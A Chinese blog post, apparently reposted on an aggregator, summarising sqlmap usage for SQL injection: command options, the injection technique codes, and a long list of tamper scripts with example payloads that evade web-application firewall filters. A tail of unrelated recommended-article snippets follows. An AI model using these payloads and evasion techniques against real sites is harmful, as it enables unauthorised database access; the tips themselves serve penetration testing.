2. 程式人生 > >sqlmap常用技巧整理

sqlmap常用技巧整理

阿新 • • 發佈：2017-07-02
ref lda title o-c cto 添加 hex 之前 暴力

言

通過在烏雲網上出現的很多SQL註入漏洞，因此來總結一下，大致使用SQLMAP所遇到的參數。

基本結構

　　基本SQLMAP的使用方式就如下所示，使用參數式的方式，按需求添加。

1
2
 
sqlmap.py -u "http:// *"  --data="a=b" -p a   --level 3 --random-agent --referer="a" 
--technique T --dbms=mysql --cookie="cookie" --tables

參數解釋

星號

　　在註入的過程中，有時候是偽靜態的頁面，可以使用星號表示可能存在註入的部分

–data

　　使用post方式提交的時候，就需要用到data參數了

-p

　　當我們已經事先知道哪一個參數存在註入就可以直接使用-p來指定，從而減少運行時間

–level

　　不同的level等級，SQLMAP所采用的策略也不近相同，當–level的參數設定為2或者2以上的時候，sqlmap會嘗試註入Cookie參數；當–level參數設定為3或者3以上的時候，會嘗試對User-Angent，referer進行註入。

–random-agent

　　使用該參數，SQLMAP會自動的添加useragent參數，如果你知道它要求你用某一種agent，你也應當用user-agent選項自己指定所需的agent

–technique

　　這個參數可以指定SQLMAP使用的探測技術，默認情況下會測試所有的方式。

　　支持的探測方式如下：

　　B: Boolean-based blind SQL injection（布爾型註入）
　　E: Error-based SQL injection（報錯型註入）
　　U: UNION query SQL injection（可聯合查詢註入）
　　S: Stacked queries SQL injection（可多語句查詢註入）
　　T: Time-based blind SQL injection（基於時間延遲註入）

–tamper

　　有些時候網站會過濾掉各種字符，可以用tamper來解決（對付某些waf時也有成效）
　　–tamper=”space2comment.py”
　　理論是用/**/代替空格，當然temper的選項還有很多

  • apostrophemask.py

　　作用：用utf8代替引號

  • equaltolike.py

　　作用：like 代替等號

　　Example:

1
2
3
 
Input: SELECT * FROM users WHERE id=1

Output: SELECT * FROM users WHERE id LIKE 1

  • space2dash.py

　　作用：繞過過濾‘=’ 替換空格字符（”），（’ – ‘）後跟一個破折號註釋，一個隨機字符串和一個新行（’ n’）
　　Example:

1
 
(‘1 AND 9227=9227‘) ‘1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227‘

  • greatest.py

　　作用：繞過過濾’>’ ,用GREATEST替換大於號。
　　Example:

1
 
(‘1 AND A > B‘) ‘1 AND GREATEST(A,B+1)=A‘

  • space2hash.py

　　作用：空格替換為#號 隨機字符串 以及換行符

　　Example:

1
2
 
Input: 1 AND 9227=9227
 Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
  • apostrophenullencode.py

　　作用：繞過過濾雙引號，替換字符和雙引號。
　　Example:

1
 
tamper("1 AND ‘1‘=‘1") ‘1 AND %00%271%00%27=%00%271‘

  • halfversionedmorekeywords.py

　　作用：當數據庫為mysql時繞過防火墻，每個關鍵字之前添加mysql版本評論

　　Example:

1
2
3
 
("value‘ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() 
AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa‘=‘QDWa") 
　"value‘/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND ‘QDWa‘=‘QDWa"

  • space2morehash.py

　　作用：空格替換為 #號 以及更多隨機字符串 換行符

　　Example:

1
2
3
 
Input: 1 AND 9227=9227 

Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

  • appendnullbyte.py

　作用：在有效負荷結束位置加載零字節字符編碼
　Example:

1
 
(‘1 AND 1=1‘) ‘1 AND 1=1%00‘

　　常用於access

  • ifnull2ifisnull.py

　作用：繞過對 IFNULL 過濾。 替換類似’IFNULL(A, B)’為’IF(ISNULL(A), B, A)’
Example:

1
 
(‘IFNULL(1, 2)‘) ‘IF(ISNULL(1),2,1)‘

  • space2mssqlblank.py(mssql)

　　作用：空格替換為其它空符號

　　Example:

1
2
 
Input: SELECT id FROM users * 
Output: SELECT%08id%02FROM%0Fusers

  • base64encode.py

　　作用：用base64編碼替換 Example: (“1’ AND SLEEP(5)#”) ‘MScgQU5EIFNMRUVQKDUpIw==’ Requirement: all

  • space2mssqlhash.py

　　作用：替換空格

　　Example:

1
 
(‘1 AND 9227=9227‘) ‘1%23%0AAND%23%0A9227=9227‘

  • modsecurityversioned.py

　　作用：過濾空格，包含完整的查詢版本註釋

　　Example:

1
 
(‘1 AND 2>1--‘) ‘1 /*!30874AND 2>1*/--‘
  • space2mysqlblank.py

　　作用：空格替換其它空白符號(mysql)

　　Example:

1
2
3
 
　Input: SELECT id FROM users 

　Output: SELECT%0Bid%0BFROM%A0users

  • between.py

　　作用：用between替換大於號（>）

　　Example:

1
 
(‘1 AND A > B--‘) ‘1 AND A NOT BETWEEN 0 AND B--‘

  • space2mysqldash.py

　　作用：替換空格字符（”）（’ – ‘）後跟一個破折號註釋一個新行（’ n’）

註：之前有個mssql的 這個是mysql的

　　Example:

1
 
(‘1 AND 9227=9227‘) ‘1--%0AAND--%0A9227=9227‘

  • multiplespaces.py

　　作用：圍繞SQL關鍵字添加多個空格

　　Example:

1
 
(‘1 UNION SELECT foobar‘) ‘1 UNION SELECT foobar‘

  • ：space2plus.py

　　作用：用+替換空格

　　Example:

1
 
(‘SELECT id FROM users‘) ‘SELECT+id+FROM+users‘

  • bluecoat.py

　　作用：代替空格字符後與一個有效的隨機空白字符的SQL語句。 然後替換=為like

　　Example:

1
 
(‘SELECT id FROM users where id = 1‘) ‘SELECT%09id FROM users where id LIKE 1‘

  • nonrecursivereplacement.py

　　雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

　　Example:

1
 
(‘1 UNION SELECT 2--‘) ‘1 UNIOUNIONN SELESELECTCT 2--‘

  • space2randomblank.py

　　作用：代替空格字符（“”）從一個隨機的空白字符可選字符的有效集

　　Example:

1
 
(‘SELECT id FROM users‘) ‘SELECT%0Did%0DFROM%0Ausers‘

  • sp_password.py

　　作用：追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

　　Example:

1
 
(‘1 AND 9227=9227-- ‘) ‘1 AND 9227=9227-- sp\_password‘

  • chardoubleencode.py

　　作用: 雙url編碼(不處理以編碼的)

　　Example:

1
2
3
 
Input: SELECT FIELD FROM%20TABLE 

Output: %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

  • unionalltounion.py

　　作用：替換UNION ALL SELECT UNION SELECT

　　Example:

1
 
(‘-1 UNION ALL SELECT‘) ‘-1 UNION SELECT‘

  • charencode.py

　　作用：url編碼
　　Example:

1
2
3
 
Input: SELECT FIELD FROM%20TABLE

Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

  • randomcase.py

　　作用：隨機大小寫 Example:

1
2
 
Input: INSERT
Output: InsERt

  • unmagicquotes.py

　　作用：寬字符繞過 GPC addslashes

　　Example:

1
2
3
 
Input: 1′ AND 1=1 

Output: 1%bf%27 AND 1=1–%20

  • randomcomments.py

　　作用：用/**/分割sql關鍵字

　　Example:

1
 
‘INSERT’ becomes ‘IN//S//ERT’

  • charunicodeencode.py

　　作用：字符串 unicode 編碼

　　Example:

1
2
3
 
Input: SELECT FIELD%20FROM TABLE 

Output: %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

  • securesphere.py

　　作用：追加特制的字符串

　　Example:

1
 
(‘1 AND 1=1‘) "1 AND 1=1 and ‘0having‘=‘0having‘"

  • versionedmorekeywords.py

　　作用：註釋繞過

　　Example:

1
2
3
 
Input: 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 

 Output: 1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

  • space2comment.py
    　　作用：Replaces space character (‘ ‘) with comments ‘/**/’

　　Example:

1
2
3
 
Input: SELECT id FROM users 

Output: SELECT//id//FROM/**/users

  • halfversionedmorekeywords.py

　　作用：關鍵字前加註釋

　　Example:

1
2
3
 
Input: value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=‘QDWa 

Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=‘QDWa

有時發現跑出的數據都是毫無意義的字符

解決方案：

　　a）SQLMAP會提示你加–hex或者–no-cast，有時會有幫助
　　b）如果你用的是time-based註射，建議增加延時–time-sec等參數，即使你的網速比較好，但是服務器可能遇見各種奇怪環境
　　c）增加level的數值

暴力猜表

　　針對access站可以構造common-tables.txt

顯示unable to connect to the target url

　　第一個可能是time-out設置的太小，出現問題，再有可能就是WAF直接把請求攔截掉了，因此得不到響應。

有些waf比較友善，過濾後會提示“參數不合法”，但是也有些waf則直接把請求攔下來無提示導致應答超時，這樣在測試時會消耗大量的時間等待響應

　　解決方案：減少time-out進行檢測，在跑數據時改回time-out

提示possible integer casting detected

　　如果是在手工測試，建議到這裏可以停止了，節省時間。

　　如果是在掃描器掃描的盲註，那麽到這裏堅決無視警告繼續下去。

參考文獻：

　　http://drops.wooyun.org/tools/4760
　　http://drops.wooyun.org/tips/143
　　http://www.2cto.com/Article/201306/223082.html
　　http://drops.wooyun.org/tips/5254

本文標題:sqlmap常用技巧整理

文章作者:Sherwel

發布時間:2016-02-25, 09:15:45

最後更新:2017-03-22, 00:12:08

原始鏈接:https://nanshihui.github.io/2016/02/25/sqlmaptips/

許可協議: "署名-非商用-相同方式共享 4.0" 轉載請保留原文鏈接及作者。

sqlmap常用技巧整理

相關推薦

sqlmap常用技巧整理

ref lda title o-c cto 添加 hex 之前 暴力 言 通過在烏雲網上出現的很多SQL註入漏洞，因此來總結一下，大致使用SQLMAP所遇到的參數。 基本結構 　　基本SQLMAP的使用方式就如下所示，使用參數式的方式，按需求添加。 12

git常用命令以及使用技巧整理

再次 跳過 忽略 har foo init 方括號 file pan git config --global <attr-name> <attr-value> 配置git信息，如果使用了 --global 選項，全局屬性將默認被使用，除非此屬性被局部

Linux vim編輯器常用操作技巧整理

經常發現一些作者寫書或寫文章喜歡被使用者挾持，內容搞的大而全，鬍子眉毛一把抓，最後導致結果讀者還是不滿意。 其實，只要能說清楚一個知識點，能幫助新手劃定技術點的知識邊界就是很好的文章了！本文講解的是vim編輯器常用操作技巧整理，讀者如果能熟練掌握這些常見的技巧，就可以給運維和開發工作帶來非常大的便利

Sqlmap注入技巧收集整理

TIP1 當我們注射的時候，判斷注入 你可以用burp的intruder的字典跑，但是仍然失敗。 這裡可以用到SQL語句的case when …then … else … end語句CASE WHEN語句在DB2,ORACLE,SQL SERVER系列,SYBASE

Windows常用技巧集錦

art 沒有 變量 -- 刷新 環境 shift ref jin 1. Word中如何消除回車符 文件—選項—顯示—勾掉段落標記 2. Windows不重啟就使環境變量修改生效 以修改環境變量“PATH”為例，修改完成後，進入DOS命令提示符，輸入：set

Git使用：安裝，使用及常用命令整理

reset short 配置文件 res 命名 nbsp class 名詞 如果 對於程序猿而言，git是最常接觸的工具之一，因此需要熟練快速掌握其技巧。 git安裝： windwos： 【原創】Windows平臺下Git的安裝與配置 Ubuntu：git與github在

git常用命令整理

align enter style git常用命令 com branch commit ast 添加 git常用命令整理 查看當前分支：git branch 切換分支：git checkout ****（分支名） 創建分支：git branch ****（分支名） 刪

DevExpress TreeListLookupEdit常用技巧

進行 prop 推薦 節點 per display row edit 中項 //設定為CheckBox可用 this.treeListLookUpEdit1.Properties.TreeList.OptionsView.ShowCheckBoxe

python列表(list)常用方法整理

內容 翻轉 error 刪除 列表 參數 list res == 1.append(obj) 向列表中添加一個對象obj 2.count(obj) 返回一個對象obj在列表中出現的次數. 3.extend(seq) 把序列seq的內容添加到列表中。 4.index(ob

salt 常用命令整理

test rm -rf source zip 表達 執行cmd root function ons salt 常用命令整理 ***********模塊*********** 查看模塊列表module salt ‘minion‘ sys.list_modules

Idea 常用功能匯總，工作中常用技巧,移出請說明原因，筆記花了好長時間匯總的

str 窗口 ctr 生成 控制 double 代碼補全 文件中 同步 1.隱藏沒用到的文件 比如 IDEA 的項目配置文件（.iml 和.idea），打開 Settings-File Types， 加入要隱藏的文件後綴。 2.常用技巧 2.1 通過Alt+F8查看

JavaScript常用技巧之數組操作

filter style == indexof bsp pop 元素 過濾 ice 1、獲取最後數組中最後一個元素 . arr.slice(-1).pop() . arr[arr.length - 1] 2、過濾重復元素 arr.filter(fu

Sublime使用技巧整理

支持 () src nodejs pytho 下載 hand ref load 　　安裝完nodejs後,就可以安裝Sublime Text的插件進行功能增強了.為了整理全備,仍然從安裝記錄起. 　　1.下載安裝 　　進入官網地址http://www.sublimetext

JavaScript常用技巧之進制轉換

string 十進制轉二進制 進制 rip javascrip clas 二進制轉十進制 pre div 一、十進制轉二進制 (8).toString(2) 二、二進制轉十進制 parseInt("1000",2) JavaScript常用技

Redis學習筆記（三）常用命令整理

mes ember nbsp end 插入 學習筆記 頻道 hash value Redis 常用命令 1.DEL key 刪除key2.EXISTS key 檢查key是否存在3.KEYS * 查看所有的key4.EXPIRE key seconds 設置key的過期時

linux常用命令整理（五）：shell基礎

程序猿 逆向 多條 希望 正則表達 group 運行 ls命令 交互式 大家好，我是會唱歌的程序猿～～～～～～ 最近在學習linux，閑暇之余就把這些基本的命令進行了整理，希望大家能用的上，整理的的目的是在忘了的時候翻出來看看^?_?^，前後一共分為五個部分

linux下的常用技巧。

$1 常用技巧 log hot XML chan -m linux 行合並 xargs linux下的多行合並~ [root@]# yum list installed|grep php|awk -F ‘ ‘ ‘{print $1}‘ php-channel-nrk.n

Linux常用命令整理

remove 開頭 容量 mina 顯示 刪除目錄 用戶 移動文件 dir 　　這裏的常用命令指的是編程c/c++與shell程序常用到的linux命令。 　　8/24/2017 整理一遍常用命令，希望提高Linux編程的效率 正文如下： cd指令 切換文件夾到指定

MyBatis之Mapper詳解及常用技巧

mybatis mapperselect先看一個簡單的案例:<select id="selectPerson" parameterType="int" resultType="hashmap"> SELECT * FROM PERSON WHERE ID = #{id} </selec

CentOS7 常用命名整理

顯示 sta pad pre 創建 target 信息 script lld 前言： 　　總是為了一點命令去查搜索引擎，今天簡單整理了一下常用的一些命名； 一、網絡配置相關 　　0、修改 IP&DNS 信息 # vi /etc/sysconfig/net